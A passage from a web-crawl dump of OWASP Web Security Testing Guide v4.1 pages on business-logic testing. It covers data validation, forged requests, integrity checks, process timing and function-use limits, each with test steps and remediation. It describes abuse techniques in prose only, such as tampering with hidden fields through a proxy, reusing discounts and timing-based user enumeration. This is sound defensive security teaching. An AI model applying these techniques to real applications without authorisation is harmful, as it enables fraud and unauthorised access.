"http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570", "http://softwaretestingfundamentals.com/software-testing-life-cycle/", "https://isbnsearch.org/isbn/1420082817", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/01-Test_Business_Logic_Data_Validation", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/01-Test_Business_Logic_Data_Validation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/01-Test_Business_Logic_Data_Validation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Business Logic Data Validation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Generic Test Method"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Business Logic Data Validation\n\n| ID |\n| --- |\n| WSTG-BUSL-01 |\n\n## Summary\n\nThe application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application of system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system.\n\nFor example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0’s) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country?\n\nVulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow.\n\nThe front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances.\n\n## Examples\n\n### Example 1\n\nSuppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner’s system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?\n\n### Example 2\n\nMany credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night’s data.\n\n### Example 3\n\n**[Distributed Denial of Dollar (DDo$)](https://news.hitb.org/content/pirate-bay-proposes-distributed-denial-dollars-attack-ddo):**\nThis was a campaign that was proposed by the founder of the website “The Pirate Bay” against the law firm who brought prosecutions against “The Pirate Bay”. The goal was to take advantage of errors in the design of business features and in the process of credit transfer validation.\n\nThis attack was performed by sending very small amounts of money of 1 SEK ($0.13 USD) to the law firm.\nThe bank account to which the payments were directed had only 1000 free transfers, after which any transfers have a surcharge for the account holder (2 SEK). After the first thousand Internet transactions every 1 SEK donation to the law firm will actually end up costing it 1 SEK instead.\n\n## How to Test\n\n### Generic Test Method\n\n- Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.\n- Once found try to insert logically invalid data into the application/system.\nSpecific Testing Method:\n- Perform front-end GUI Functional Valid testing on the application to ensure that the only “valid” values are accepted.\n- Using an intercepting proxy observe the HTTP POST/GET looking for places that variables such as cost and quality are passed. Specifically, look for “hand-offs” between application/systems that may be possible injection or tamper points.\n- Once variables are found start interrogating the field with logically “invalid” data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data.\n\nAll [Input Validation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) test cases.\n\n- [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account) .\n- [Testing for Bypassing Session Management Schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema) .\n- [Testing for Exposed Session Variables](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables) .\n\n## Tools\n\n[OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n\n## References\n\n- [Beginning Microsoft Visual Studio LightSwitch Development](https://books.google.com/books?id=x76L_kaTgdEC&pg=PA280&lpg=PA280&dq=business+logic+example+valid+data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOejZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qEOX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onepage&q=business%20logic%20example%20valid%20data%20example&f=false)\n- [OWASP Proactive Controls (C5) - Validate All Inputs](https://owasp.org/www-project-proactive-controls/v3/en/c5-validate-inputs)\n- [OWASP Cheatsheet Series - Input_Validation_Cheat_Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Remediation\n\nThe application/system must ensure that only “logically valid” data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6823, "slov": 968, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:22", "sha256": "81528c3119c93703053b0c54cb6620c53b7a0fd89ba22ce6dd29c034fdc23e35", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://news.hitb.org/content/pirate-bay-proposes-distributed-denial-dollars-attack-ddo", "https://www.zaproxy.org/", "https://books.google.com/books?dq=business+logic+example+valid+data+example&ei=mydYUt6qEOX54APu7IDgCQ&hl=en&id=x76L_kaTgdEC&lpg=PA280&ots=GOfQ-7f4Hu&pg=PA280&sa=X&sig=4jOejZVligZOrvjBFRAT4-jy8DI&source=bl&ved=0CFIQ6AEwBDgK", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/02-Test_Ability_to_Forge_Requests", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/02-Test_Ability_to_Forge_Requests", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/02-Test_Ability_to_Forge_Requests", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Ability to Forge Requests"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Generic Testing Method"}, {"uroven": 3, "text": "Specific Testing Method 1"}, {"uroven": 3, "text": "Specific Testing Method 2"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Ability to Forge Requests\n\n| ID |\n| --- |\n| WSTG-BUSL-02 |\n\n## Summary\n\nForging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose “hidden” features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic.\n\nVulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.\n\nApplications should have logic checks in place to prevent the system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place.\n\nAlso, forged requests may allow subvention of programmatic or business logic flow by invoking “hidden” features or functionality such as debugging initially used by developers and testers sometimes referred to as an [”Easter egg”](http://en.wikipedia.org/wiki/Easter_egg_(media)). “An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt.”\n\n## Examples\n\n### Example 1\n\nSuppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or “no discount has been taken” value multiple times to take advantage of the same discount multiple times.\n\n### Example 2\n\nSuppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level’s points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly.\n\nAlso, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points.\n\n## How to Test\n\n### Generic Testing Method\n\n- Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields.\n- Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal business logic workflow.\n\n### Specific Testing Method 1\n\n- Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.\n- If it is found that some value is guessable this value may be changed and one may gain unexpected visibility.\n\n### Specific Testing Method 2\n\n- Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated.\n- If any are found try to guess and change these values to get a different application response or behavior.\n\n- [Testing for Exposed Session Variables](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables)\n- [Testing for Cross Site Request Forgery (CSRF)](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n- [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n\n## Tools\n\n[OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n\n## References\n\n- [Cross Site Request Forgery - Legitimizing Forged Requests](http://www.stan.gr/2012/11/cross-site-request-forgery-legitimazing.html)\n- [Easter egg](https://en.wikipedia.org/wiki/Easter_egg_(media))\n- [Top 10 Software Easter Eggs](https://lifehacker.com/371083/top-10-software-easter-eggs)\n\n## Remediation\n\nThe application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6223, "slov": 898, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:23", "sha256": "20ddee582c706eac6530c565acf934707ac874018d5c518b095f58ba8f3ce500", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://en.wikipedia.org/wiki/Easter_egg_(media)", "https://www.zaproxy.org/", "http://www.stan.gr/2012/11/cross-site-request-forgery-legitimazing.html", "https://en.wikipedia.org/wiki/Easter_egg_(media)", "https://lifehacker.com/371083/top-10-software-easter-eggs", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/03-Test_Integrity_Checks", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/03-Test_Integrity_Checks", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/03-Test_Integrity_Checks", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Integrity Checks"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Generic Testing Method"}, {"uroven": 3, "text": "Specific Testing Method 1"}, {"uroven": 3, "text": "Specific Testing Method 2"}, {"uroven": 3, "text": "Specific Testing Method 3"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Integrity Checks\n\n| ID |\n| --- |\n| WSTG-BUSL-03 |\n\n## Summary\n\nMany applications are designed to display different fields depending on the user of situation by leaving some inputs hidden. However, in many cases it is possible to submit values hidden field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or server side edits to ensure that the proper data is allowed to the server based on user and application specific business logic.\n\nAdditionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers. Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating.\n\nBusiness logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic.\n\nThe application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be “protected” from unauthorized read, writing and removal.\n\n## Example\n\n### Example 1\n\nImagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and password field through a proxy they may be able to “trick” the server into believing that the request has come from an admin user and change password of other users.\n\n### Example 2\n\nMost web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check.\n\n### Example 3\n\nSuppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver’s license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse’s name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed.\n\n### Example 4\n\nMany systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentally having their integrity destroyed?\n\n## How to Test\n\n### Generic Testing Method\n\n- Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information.\n- For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component.\n- Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that should not be allowed per the business logic workflow.\n\n### Specific Testing Method 1\n\n- Using a proxy capture HTTP traffic looking for hidden fields.\n- If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.\n\n### Specific Testing Method 2\n\n- Using a proxy capture HTTP traffic looking for a place to insert information into areas of the application that are non-editable.\n- If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.\n\n### Specific Testing Method 3\n\n- List components of the application or system that could be impacted, for example logs or databases.\n- For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being collected.\n\nAll [Input Validation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) test cases.\n\n## Tools\n\n- Various system/application tools such as editors and file manipulation tools.\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n\n## References\n\n- [Implementing Referential Integrity and Shared Business Logic in a RDB](http://www.agiledata.org/essays/referentialIntegrity.html)\n- [On Rules and Integrity Constraints in Database Systems](https://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf)\n- [Use referential integrity to enforce basic business rules in Oracle](https://www.techrepublic.com/article/use-referential-integrity-to-enforce-basic-business-rules-in-oracle/)\n- [Maximizing Business Logic Reuse with Reactive Logic](https://dzone.com/articles/maximizing-business-logic)\n- [Tamper Evidence Logging](http://tamperevident.cs.rice.edu/Logging.html)\n\n## Remediation\n\nThe application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7740, "slov": 1164, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:24", "sha256": "13e4d2ec36833f6f96561c7e8f298e89a351ec820f8f9f0c92bd5eda1656c004", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "http://www.agiledata.org/essays/referentialIntegrity.html", "https://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf", "https://www.techrepublic.com/article/use-referential-integrity-to-enforce-basic-business-rules-in-oracle/", "https://dzone.com/articles/maximizing-business-logic", "http://tamperevident.cs.rice.edu/Logging.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/04-Test_for_Process_Timing", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/04-Test_for_Process_Timing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/04-Test_for_Process_Timing", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test for Process Timing"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test for Process Timing\n\n| ID |\n| --- |\n| WSTG-BUSL-04 |\n\n## Summary\n\nIt is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the “expected” time frame.\n\nProcess timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific.\n\nProcessing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and “game the system”.\n\n## Example\n\n### Example 1\n\nVideo gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum.\n\n### Example 2\n\nMany system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message.\n\n### Example 3\n\nMost Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated.\n\n### Example 4\n\nSuppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price?\n\n## How to Test\n\n- Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.\n- Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.\n\n- [Testing for Cookies Attributes](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n- [Test Session Timeout](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout)\n\n## Remediation\n\nDevelop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame.\n\nAdditionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an “acceptable” amount of time. This may be done by canceling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3820, "slov": 583, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:25", "sha256": "41d460147d307d93b853a37ec6ef9dbc6588ff7459443f8ab4f5f8da4b0f9dbc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Number of Times a Function Can Be Used Limits"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Number of Times a Function Can Be Used Limits\n\n| ID |\n| --- |\n| WSTG-BUSL-05 |\n\n## Summary\n\nMany of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be “smart enough” to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly.\n\nVulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times.\n\nAttackers may be able to circumvent the business logic and execute a function more times than “allowable” exploiting the application for personal gain.\n\n## Example\n\nSuppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one “allowable” discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times?\n\n## How to Test\n\n- Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number 